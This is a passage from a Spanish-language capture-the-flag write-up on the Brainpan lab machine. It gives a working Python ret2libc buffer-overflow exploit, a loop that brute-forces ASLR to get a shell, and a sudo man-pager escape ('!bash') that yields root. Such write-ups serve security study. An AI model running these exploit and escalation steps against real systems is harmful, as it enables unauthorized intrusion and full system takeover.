Tenemos las 3 direcciones necesitadas para ret2libc: system exit y /bin/sh

system = 0x0003f430  
bin_sh = 0x00160f58  
exit = 0x00032fb0  

Sin embargo estas direcciones son solo offsets, para conseguir la direccion real necesitamos sumarle la dirección de libc base que tenemos de antes

libc_base = 0xb7565000

system = p32(libc_base + 0x0003f430)  
bin_sh = p32(libc_base + 0x00160f58)  
exit = p32(libc_base + 0x00032fb0)  

Plasmamos el junk y las direcciones en un script de python y las printeamos

#!/usr/bin/python2
import struct

p32 = lambda addr: struct.pack("I", addr)  

offset = 116
junk = b"A" * offset

libc_base = 0xb7565000

system = p32(libc_base + 0x0003f430)
bin_sh = p32(libc_base + 0x00160f58)
exit = p32(libc_base + 0x00032fb0)

print(junk + system + exit + bin_sh)

De esta manera en el EIP ejecutariamos system() como función, exit() como función de retorno y le pasaremos la string /bin/sh como argumento a system()

Sin embargo tenemos un problema y es que la dirección de libc base cambia constantemente, esto es porque el ASLR esta activado y hay aleatorizacion

puck@brainpan:~$ ldd /usr/local/bin/validate 
    linux-gate.so.1 =>  (0xb77ce000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761a000)  
    /lib/ld-linux.so.2 (0xb77cf000)
puck@brainpan:~$ cat /proc/sys/kernel/randomize_va_space
2
puck@brainpan:~$

Sin embargo en x86 las direcciones son tan pequeñas que despues de ejecutar el binario varias veces la dirección de libc base vuelve a coincidir varias veces

puck@brainpan:~$ for i in $(seq 1 1000); do ldd /usr/local/bin/validate | grep 0xb7565000; done  
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
puck@brainpan:~$

Asi que es caso de ejecutarlo en bucle hasta que consigamos una sh como anansi

puck@brainpan:~$ while true; do validate $(python2 exploit.py); done  
Segmentation fault
Segmentation fault
Segmentation fault
$ whoami
anansi
$ hostname -I
10.10.27.47
$


Shell - root


A nivel de sudoers podemos ejecutar como root sin contraseña anansi_util

$ sudo -l
Matching Defaults entries for anansi on this host:
    secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
$

Tenemos varias opciones entre ellas manual, podemos desplegar el manual del comando whoami y entra en un modo paginate, ejecutamos !bash y somos root

$ sudo /home/anansi/bin/anansi_util manual whoami

NAME
       whoami - print effective userid

SYNOPSIS
       whoami [OPTION]...

DESCRIPTION
       Print the user name associated with the current effective user ID  

       --help display this help and exit

       --version
              output version information and exit

AUTHOR
       Written by Richard Mlynarik.

!bash

root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt 

_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com  

root@brainpan:/usr/share/man#

Es necesario mencionar que el Buffer Overflow de la escalada es opcional ya que a nivel de sudoers de puck tenemos el binario anansi_util que teniamos antes, asi que solo repetimos el proceso y conseguimos una shell como el usuario root

puck@brainpan:~$ sudo -l
Matching Defaults entries for puck on this host:
    secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual whoami

NAME
       whoami - print effective userid

SYNOPSIS
       whoami [OPTION]...

DESCRIPTION
       Print the user name associated with the current effective user ID  

       --help display this help and exit

       --version
              output version information and exit

AUTHOR
       Written by Richard Mlynarik.

!bash

root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt 

_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com  

root@brainpan:/usr/share/man#